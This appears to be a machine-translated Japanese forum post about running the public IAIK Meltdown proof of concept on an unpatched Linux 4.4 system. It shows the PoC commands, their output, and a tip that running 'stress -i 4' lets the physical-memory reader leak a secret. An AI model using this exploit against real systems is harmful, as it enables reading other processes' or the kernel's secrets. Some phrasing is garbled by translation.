このPoCでの作業
https://github.com/IAIK/meltdown
それを実行する:
# ./secret
[+] Secret: Sample text
[+] Virtual address of secret: 0x4af528
[+] Physical address of secret: 0x172bc3528
[+] Exit with Ctrl+C if you are done reading the secret
しかし、読書は何も示していません:
$ ./physical_reader 0x172bc3528
[+] Physical address : 0x172bc3528
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880172bc3528
KASLRを無効にしました。
BOOT_IMAGE=/boot/vmlinuz-4.4.0-93-generic root=UUID=6c2b06f8-b8dd-4117-a77e-2425b27fb749 ro quiet splash crashkernel=384M-2G:128M,2G-:256M vt.handoff=7
信頼性テストは正常に機能します。
# ./reliability
[-] Success rate: 99.40% (read 166 values)
誰かが秘密からメモリアドレスを読み取れない理由を誰かが知っていますか?
KASLRがない場合、物理オフセットは常に0xffff880000000000のままですよね?
おかげで、
OKはそれを理解しました。これに基づいて:
https://github.com/IAIK/meltdown#frequencyly-asked-questions
4つのコアを使用して、ストレスユーティリティをインストールして実行しました。
stress -i 4
そして、持っていた2つのPoCでメモリを読み取ることができました。
はい、物理オフセットは0xffff880000000000でした